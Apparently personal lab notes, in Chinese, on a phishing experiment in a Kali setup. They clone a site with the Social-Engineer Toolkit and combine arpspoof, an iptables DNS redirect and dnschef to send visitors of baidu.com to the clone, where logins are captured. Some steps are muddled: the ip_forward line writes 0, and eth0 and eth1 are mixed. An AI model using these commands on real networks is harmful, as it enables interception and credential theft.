setlook钓鱼实验流程

 kali输入setlook后 输入1232，然后输入网站进行克隆，网站需要http的

 可在需要钓鱼的虚拟机上输入kali的ip来检查克隆网站是否搭建成立

 此时输入密码账号后他会跳转到原真实网站，但在kali上面已经捕获到了账号和密码

 

1.dnschef实现DNS欺骗

echo 0 > /proc/sys/net/ipv4/ip_forward 
在kali上另开一个终端，输入以上命令，其中echo哪张网卡联通外网这用哪张，此处我用的echo0来联通的外网。

arpspoof  -t 目标IP -r 网关 -i 自己网卡信息

例：arpspoof -t 192.168.10.133 -r 192.168.10.2 -i eth0

---

.kali截取DNS查询请求并转发至自己进行DNS欺骗：

        # iptables -t nat -A PREROUTING -i eth0 -p udp --dport 53 -j REDIRECT --to-ports 53

        上面关于iptables命令作用是在kali的eth1接收到目标为udp 53流量后重新定向到自己的53端口上，而自己的53端口已经监听为dnschef。

 

实施攻击：

        # dnschef --fakedomains www.baidu.com --fakeip 192.168.10.128 --nameserver 61.139.2.69 -i 192.168.10.128

--fakedomains www.baidu.com：指定要欺骗的域名,即我们钓鱼的网页。

--fakeip 192.168.10.128：指定当请求欺骗域名时返回的虚假 IP 地址，这里是192.168.10.128

--nameserver 61.139.2.69：指定真实的 DNS 服务器 IP 地址，这里是 61.139.2.69

后面的-i 任然是kali的ip

 

 实现正常访问百度页面进入我们克隆的网页，输入账号密码有kali正常捕获